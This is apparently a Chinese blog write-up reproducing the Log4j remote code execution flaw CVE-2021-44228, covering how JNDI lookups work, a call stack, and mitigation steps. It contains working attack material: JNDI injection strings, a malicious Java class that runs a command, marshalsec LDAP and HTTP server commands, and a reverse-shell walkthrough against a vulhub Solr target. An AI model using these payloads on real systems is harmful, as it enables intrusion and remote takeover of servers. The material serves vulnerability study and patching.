CVE-2021-44228 log4j RCE

2021.12.09,阿里云安全团队向apache报告了由log4j日志引起的远程代码执行。当时微博、朋友圈都在狂刷这个漏洞的新闻,它被定义为核弹级漏洞,但是利用方式很简单。最近正在学习RMI、LDAP、JNDI,所以就来复现一下。

1. 介绍

Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。
其中中存在JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

Versions Affected:
从 2.0-beta9 到 2.14.1 的所有版本

这个版本只针对CVE-2021-44228,高版本也有漏洞

2. 前置知识

RMI、LDAP、JDNDI
1
(如果只相对于这个漏洞来说,单纯的利用的话,其实大概知道他们是干什么的就行)

3. 漏洞原理

Lookup插件在Log4j2的使用场景上是为了获取配置而使用的,如Log4j2框架中所包含的JavaLookup插件,表示当你要在Log4j2框架中获取Java的配置信息时,则会调度执行该JavaLookup来返回对应的Java配置信息,比如:logger.error代码中直接填写:${java.version} 则最终会返回对应的Java版本信息.

触发Lookup插件的场景是使用:${},如上述的${java:version} 表示使用JavaLookup插件,传入值为version然后返回对应的结果。

出现重大漏洞问题的则是一个相对不太常用的插件,名叫:JndiLookup
${jndi:ldap://ip:port} 表示调用JndiLookup传入值为 ldap://ip:port。再详细的可以看看JNDI的内容。
具体处理逻辑:
首先会在replace函数中提取${}内的lookup参数。会匹配${}进行提取。
然后会以:为分隔符进行分割以获取prefix内容,根据prefix从map中取出xxxLookup类,如JndiLookup
之后又通过jndiManager类进行调用,成功执行到javax/naming/InitialContext.java 原生lookup解析函数
调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
lookup:417, InitialContext (javax.naming)
lookup:172, JndiManager (org.apache.logging.log4j.core.net)
lookup:56, JndiLookup (org.apache.logging.log4j.core.lookup)
lookup:221, Interpolator (org.apache.logging.log4j.core.lookup)
resolveVariable:1110, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:1033, StrSubstitutor (org.apache.logging.log4j.core.lookup)
substitute:912, StrSubstitutor (org.apache.logging.log4j.core.lookup)
replace:467, StrSubstitutor (org.apache.logging.log4j.core.lookup)
format:132, MessagePatternConverter (org.apache.logging.log4j.core.pattern)
format:38, PatternFormatter (org.apache.logging.log4j.core.pattern)
toSerializable:344, PatternLayout$PatternSerializer (org.apache.logging.log4j.core.layout)
toText:244, PatternLayout (org.apache.logging.log4j.core.layout)
encode:229, PatternLayout (org.apache.logging.log4j.core.layout)
encode:59, PatternLayout (org.apache.logging.log4j.core.layout)
directEncodeEvent:197, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryAppend:190, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
append:181, AbstractOutputStreamAppender (org.apache.logging.log4j.core.appender)
tryCallAppender:156, AppenderControl (org.apache.logging.log4j.core.config)
callAppender0:129, AppenderControl (org.apache.logging.log4j.core.config)
callAppenderPreventRecursion:120, AppenderControl (org.apache.logging.log4j.core.config)
callAppender:84, AppenderControl (org.apache.logging.log4j.core.config)
callAppenders:540, LoggerConfig (org.apache.logging.log4j.core.config)
processLogEvent:498, LoggerConfig (org.apache.logging.log4j.core.config)
log:481, LoggerConfig (org.apache.logging.log4j.core.config)
log:456, LoggerConfig (org.apache.logging.log4j.core.config)
log:63, DefaultReliabilityStrategy (org.apache.logging.log4j.core.config)
log:161, Logger (org.apache.logging.log4j.core)
tryLogMessage:2205, AbstractLogger (org.apache.logging.log4j.spi)
logMessageTrackRecursion:2159, AbstractLogger (org.apache.logging.log4j.spi)
logMessageSafely:2142, AbstractLogger (org.apache.logging.log4j.spi)
logMessage:2017, AbstractLogger (org.apache.logging.log4j.spi)
logIfEnabled:1983, AbstractLogger (org.apache.logging.log4j.spi)
error:740, AbstractLogger (org.apache.logging.log4j.spi)
main:10, log4j (com.alter.JNDI.Log4j)

4. 代码版漏洞复现

首先编写一个含有log4j的类

1
2
3
4
5
6
7
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);

public static void main(String[] args) {
logger.error( "${jndi:ldap://ip:1389/Exploit}");
}
}

然后编写一个恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class Exploit {
public Exploit(){
try{
// 要执行的命令
String[] commands = {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"};
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}

public static void main(String[] argv) {
Exploit e = new Exploit();
}
}

然后将恶意类编译成class文件,传到云服务器上
在云服务器文件目录上开启web服务

1
python3 -m http.server 8100

2
然后用marshalsec开启IDAP服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip:8100/#Exploit"

3
最后运行包含log4j的类就可以弹出计算器了。
4

5. vulhub版漏洞复现

使用vulhub复现漏洞,用su18/JNDI打log4j时的过程,踩了很多坑。

漏洞环境

服务器A:开启vulhub,充当受害者
服务器B:远程服务器
服务器C:反弹shell目标服务器
(服务器B和服务器C也可以合成一个服务器)

攻击过程

服务器A开启服务
5

服务器C监听端口

1
sudo nc -lvp 21

服务器B配置su18/JNDI的config.properties文件,写入命令
开启su18/JNDI
6

按照示例,访问http://ip:8983/solr/admin/cores?action=${jndi:XXX},XXX填入改写后的示例
7

此时服务器B有回显
8
查看服务器C,反弹shell成功
9

注意

  1. 在本机复现时,注意docker和主机的ip地址区别
  2. 反弹shell时,注意受害端的shell类型
    可以使用如下命令查看受害者shell类型 10

jndi_tool也是一个好工具,但是最开始复现的时候可以使用,写文章的时候就用不了了,不清楚哪里的问题。

6. 修复

这里指介绍针对CVE-2021-44228的修复方案
11

方案一、升级版本
升级Apache Log4j所有相关应用到>= Log4j-2.15.0官方稳定版本
方案二、临时缓解(选其一)
● 版本>=2.10.0, 修改jvm参数,添加-Dlog4j2.formatMsgNoLookups=true
● 版本>=2.10.0, 代码中配置System.setProperty(“log4j2.formatMsgNoLookups”, “true”),重新打包jar包
● 版本>=2.10.0, 修改配置文件log4j2.component.properties :log4j2.formatMsgNoLookups=True
注意:临时缓解对Log4j <= 2.9版本是无效的,因为在2.10版本之前并没有引入这些变量来控制 lookup()。

Refer

https://github.com/wyzxxz/jndi_tool
https://github.com/su18/JNDI